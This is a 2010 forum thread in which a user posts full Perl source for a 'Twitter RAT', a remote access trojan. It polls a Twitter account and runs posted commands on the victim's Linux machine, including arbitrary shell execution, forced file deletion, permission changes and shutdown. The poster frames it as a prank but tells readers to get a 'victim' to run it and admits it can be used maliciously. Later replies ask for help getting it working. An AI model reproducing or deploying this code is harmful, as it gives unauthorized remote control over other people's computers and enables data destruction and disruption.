Twitter Controlled RAT (Mobile accessible)

Discussion in 'Perl' started by gotroot, May 28, 2010.

  1. gotroot

    gotroot New Member

    Joined:
    May 25, 2010
    Messages:
    8
    Likes Received:
    0
    Trophy Points:
    0
    Occupation:
    Student
    Location:
    In my uncles garage (literally)
    For my first thread i will post my new twitter bot/rat.

    This will only work on linux and possibly mac

    Its more of a funny prank than a rat, but it can be used for malicious purposes.

    You need to get your victim to open the .pl file on their computer and leave it open, if your using this on your friends, just go to their house and open it, then when theyre on, use your mobile to post tweet commands and mess with their computer :P.

    This version currently only works for linux!

    It connects to twitter every 5 seconds, and looks for any command.

    All you do is post one of the commands in my program on your twitter.

    The script reads the command and executes it.

    To find all the commands and explanations type:
    Code:
    perl tweet.pl -h
    in your terminal and you can also execute any command by posting this on twitter
    Code:
    ::EXEC.cmd.::
    change cmd to the command you want to execute.
    Code:
    ::EXEC.cat shutdown -p.::
    The syntax for my commands is
    Code:
    ::COMMAND.parameters.::
    The reason for this syntax is so the script can be sure to pick up the right code

    Here it is.
    Code:
    #!/usr/bin/perl -w
    # tweet.pl
    # twitter remote shell
    # executes commands from twitter
    # linux version
    # coded by gotroot- 
    # usage: perl tweet.pl <twitter_username>
    
    # command help: perl tweet.pl -h
    use LWP::UserAgent;
    use HTTP::Request;
    my $num = 'yes';
    my $acc = $ARGV[0];
    if($acc eq '-h') {
    system('clear');
    print "\n";
    print "###############################################\n";
    print "#         Twitter RAT Command List            #\n";
    print "#      Post these on your twitter account     #\n";
    print "#         Delete them to stop function        #\n";
    print "###############################################\n";
    print "#      Command      #        Function         #\n";
    print "###############################################\n";
    print "#  ::MKDIR.dir.::   # Makes directory \"dir\"   #\n";
    print "#  ::EXIT.shell.::  #        Quits bot        #\n";
    print "#  ::CHMOD.file.::  #       rwx for file      #\n";
    print "#    ::RM.file.::   #       Deletes file      #\n";
    print "#::CP.file1.file2.::#  copies file1 to file2  #\n";
    print "#    ::CD.dir.::    # goes to directory dir   #\n";
    print "#   ::EJECT.def.::  #  ejects default drive   #\n";
    print "#   ::EXEC.cmd.::   #   Executes command      #\n";
    print "# ::SHUTDOWN.cmp.:: #  Shuts computer down    #\n";
    print "# ::SHUTDOWN.rb.::  #    Reboots computer     #\n";
    print "###############################################\n";
    print "#      The following are variables            #\n";
    print "###############################################\n";
    print "#     dir - Change to directory to use        #\n";
    print "# file - Change to file to execute command on #\n";
    print "#file1, file2 - Change these to the copy files#\n";
    print "#   cmd - change to linux command to execute  #\n";
    print "###############################################\n";
    print "#                   Examples                  #\n";
    print "###############################################\n";
    print "#                ::MKDIR.gotroot.::           #\n";
    print "#    This makes a directory named gotroot     #\n";
    print "#             ::CHMOD.setup.exe.::            #\n";
    print "#      This gives rwx perms to setup.exe      #\n";
    print "#               ::RM.readme.txt.::            #\n";
    print "#              Deletes readme.txt             #\n";
    print "#         ::CP.default.php.index.php.::       #\n";
    print "#         Copies default.php to index.php     #\n";
    print "#            Then deletes default.php         #\n";
    print "###############################################\n";
    exit();
    }
    my $twitter = 'ht'.'tp:'.'//ww'.'w.twit'.'ter.c'.'om'.'/';
    my $acurl = $twitter .$acc;
    my $OS = $^O;
    if($OS =~ m/win/gi) {
    print "# --> You are running windows, must have linux. Program will exit\n";
    exit();
    }
    sub dothis() {
    system('clear');
    sleep(5);
    my $request = HTTP::Request->new(GET=>$acurl);
    my $ua = new LWP::UserAgent;
    $ua->timeout(10);
    my $response = $ua->request($request);
    if($response->is_success){
    my $code = $response->content;
    if($code =~ m/::MKDIR.(.*?).::/gi){
    my $a = $1;
    system('mkdir '.$a);
    } else {
    if($code =~ m/::EXIT.shell.::/gi){
    system('clear'); # remove visisble logs
    exit();
    } else {
    if($code =~ m/::CHMOD.(.*?).::/gi){
    my $a = $1;
    system('chmod og=rwx '.$a);
    } else {
    if($code =~ m/::RM.(.*?).::/gi){
    my $a = $1;
    system('rm -f '.$a);
    } else {
    if($code =~ m/::CP.(.*?).(.*?).::/gi){
    my ($a,$b) = ($1,$2);
    system('CP -f '.$a.' '.$b);
    } else {
    if($code =~ m/::CD.(.*?).::/gi){
    my $a = $1;
    system('cd '.$a);
    } else {
    if($code =~ m/::EJECT.def.::/gi){
    system('eject');
    } else {
    if($code =~ m/::EXEC.(.*?).::/gi){
    my $a = $1;
    system('exec '.$a);
    } else {
    if($code =~ m/::SHUTDOWN.cmp.::/gi){
    system("shutdown -p");
    } else {
    if($code =~ m/::SHUTDOWN.rb.::/gi){
    system("shutdown -r");
    }
    }
    }
    }
    }
    }
    }
    }
    }
    }
    }
    }
    dothis() while($num eq 'yes');
    # One bot to trick to rule them all
    Hope you can find a good use for this, i just made it to trick my friends.
    (not that making your friends computer shut down every 5 seconds is a bad use :P)

    :cool: gotroot->out
     
  2. gotroot

    gotroot New Member

    Joined:
    May 25, 2010
    Messages:
    8
    Likes Received:
    0
    Trophy Points:
    0
    Occupation:
    Student
    Location:
    In my uncles garage (literally)
    Re: Twitter Controlled RAT (Mobile accessible) [PERL]

    typo at end of code
    its meant to be
    #One bot to trick them all

    its a comment anyway so it dont matter
     
  3. unni krishnan.r

    unni krishnan.r Member

    Joined:
    Apr 20, 2010
    Messages:
    209
    Likes Received:
    4
    Trophy Points:
    18
    Occupation:
    education
    Location:
    Kerala
    Home Page:
    http://blogofunni.blogspot.com
    Nice post please how to acces in ma mobile
     
  4. unni krishnan.r

    unni krishnan.r Member

    Joined:
    Apr 20, 2010
    Messages:
    209
    Likes Received:
    4
    Trophy Points:
    18
    Occupation:
    education
    Location:
    Kerala
    Home Page:
    http://blogofunni.blogspot.com
    sorry this is not working
     
  5. gotroot

    gotroot New Member

    Joined:
    May 25, 2010
    Messages:
    8
    Likes Received:
    0
    Trophy Points:
    0
    Occupation:
    Student
    Location:
    In my uncles garage (literally)
    the computer you run it on must have linux.
    the shutdown commands need authenticating so leave them out.
    use it on an account that has no subscribers or messages on it
     
  6. unni krishnan.r

    unni krishnan.r Member

    Joined:
    Apr 20, 2010
    Messages:
    209
    Likes Received:
    4
    Trophy Points:
    18
    Occupation:
    education
    Location:
    Kerala
    Home Page:
    http://blogofunni.blogspot.com
  7. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,375
    Likes Received:
    388
    Trophy Points:
    83
  8. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,375
    Likes Received:
    388
    Trophy Points:
    83

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice